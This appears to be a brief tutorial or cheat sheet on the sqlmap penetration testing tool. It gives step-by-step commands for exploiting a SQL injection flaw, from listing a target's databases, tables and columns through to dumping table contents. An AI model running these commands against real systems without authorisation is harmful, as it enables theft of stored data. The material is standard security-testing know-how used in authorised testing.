sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
Step 1: Find Databases
sqlmap -u URL --dbs
Step 2: Find Tables in the Database
sqlmap -u URL -D <database> --tables
Step 3: Find Columns inside the Table (Optional)
sqlmap -u URL -D <database> -T <table> --columns
Step 4: Dump Database Tables (i.e. get the database entries)
sqlmap -u URL -D <database> -T <table> --dump
OR
sqlmap -u URL -D <database> -T <table> -C <column> --dump
(when you want to retrieve data in a specific column)